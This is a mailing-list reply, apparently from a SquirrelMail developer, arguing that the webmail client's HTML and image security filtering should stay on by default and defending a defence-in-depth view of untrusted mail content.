Post by Deano!1) I like* that you guys are on top of security.
Thanks :)
Post by Deano!2) I would* like as many security features to be "turn-offable" from
the admin.
That sort of makes sense, _if_ (and this seems to be a big if)
a) the Admin can guarantee that their users will only be using web
browsers that aren't hackable by dud-image links being in them; OR
b) all the dangerous HTML is filtered out _before_ reaching Squirrelmail.
Post by Deano!In my particular case, the mail server disables funky images before
they ever hit the client, so it would be nice to be able to turn off
the feature in Squirrel, since the truly paranoid don't rely on
client-side security to begin with. ;)
So you're saying that your mail server disables _all_ the possible HTML
encoding security risks (funky images, embedded links to .MPG files that
are actually executables)? In that case, I don't see what the problem
is, since it won't tickle this 'feature' of Squirrelmail.
The only case I can really see where your argument holds water is if
you aren't accepting _any_ emails from untrusted sources. Remember
also the messages can arrive in the users' mailboxes through
un-expected sources. Maybe they've installed the POP3 plugin and
are pulling the messages down from an external mail server that doesn't
implement the same filters. Maybe this POP3 server is even on a different
port, bypassing your proxies. Maybe someone has created a plugin that
pulls in messages from Hotmail (or Operamail, or Eudoramail, or Yahoo...)
and dumps them on the IMAP server. Maybe they're not even using
Squirrelmail, but another IMAP client that does any of the above.
Are you the admin going to remember that Squirrelmail isn't safe, so
you have to watch all these other paths? Maybe, but I'd guess that
most other admins aren't likely to. I certainly wouldn't.
To address another point:
"the truly paranoid don't rely on
client-side security to begin with."
No, the truly paranoid don't rely on any one layer of security, they
provide security at every layer they possibly can. The security
requirements (especially in terms of stripping dodgy HTML) are
_different for Squirrelmail than for a SMTP server_. They are
even different for SM than for other IMAP clients. I've already
addressed this in a post a couple of days ago - but SM is an
application split into two parts - one part is the PHP server, and
the other part is a web browser on a client machine somewhere,
running just about any dodgy buggy version of some vendor's idea
of what a web browser should be.
We need to make sure that whoever is using that web browser is not
exposed to any security risks we are aware of. To do any less would
be ethically a big problem to me, and if the other developers of
Squirrelmail told me not to fix those security risks to my
satisfaction I would be forced to either fork or find another email
client that I personally felt comfortable using and making my users
use (I provide Squirrelmail to my business, where it's running on a
server on the intranet, and hence has the ability to make them do
things to the local network if it runs untrusted code. I will not
leave known security holes open for them).
Post by Deano!3) I'm definitely getting an eerie feeling that a lot* of issues, and
even bugs, are not very high priorities anymore. For instance, the
whole "fetch/IMAP" error really really needs to be addressed in a
soon-to-be-released 1.2.6.
That's because we're too busy arguing tired old problems again and
again with people who don't appear (at least from my point of view)
to have thought through the implications of their attitude to security.
I treat data in the IMAP spool as _untrusted_, and will go to pains to
make sure that it is not executed as trusted data. The web browser will
execute certain kinds of code sent to it by Squirrelmail, so I must make
sure that nothing from the IMAP spool is sent to the browser without
first de-tainting it. Easy when you consider it that way.
Post by Deano!I'm all for letting people fork code, or even making features like
turning off image security a plugin (hint hint, someone?)... But to ask
users to scour the bug tracker/make manual 'fixes' on their own just
to get Squirrel working, seems a bit much. I'm not familiar enough
with PHP to guarantee it, but especially in the case of this error,
which still plagues me, changes could be made to the base code to fix
it... If there's a particular reason why making these fixes 'default'
would be bad, at least tell us why, eh?
I believe I already have, however:
* I don't think that the vast majority of sites are capable of ensuring
there is no dangerous material in any users's IMAP spool.
* If the option is there, some monkey is going to enable it without
knowing what they're doing (read this very list for examples of people
turning on db_prefs just because it's there, without even having DB
support available - or messing with default_folder_prefix without
knowing what their IMAP server uses, and ignoring the sensible and
sucessfully workable default).
* I haven't seen a single good reason why previewing the message first
to ensure it is from a reputable source (and not a spam with hidden
hack-fields) before enabling the unsafe bits is not a sufficient
feature.
* Per above - reading the subject is not sufficient - when using "Next"
and "Previous" links, you often don't know what the next message will
be until it's displayed. If it contains code that tickles an
insecurity in your browser, then it's already too late.
If you can provide me with a good refutation of point 3 (i.e. a reason
why previewing the message without unsafe options before enabling them
(for that message only) is important enough to over-ride the security
concerns) then I'm willing to reconsider, but until then...
... I'll go sleep, and deal with those bugs later some time.
Post by Deano!Anyway, (mostly) good work!
Thanks,
Bron.
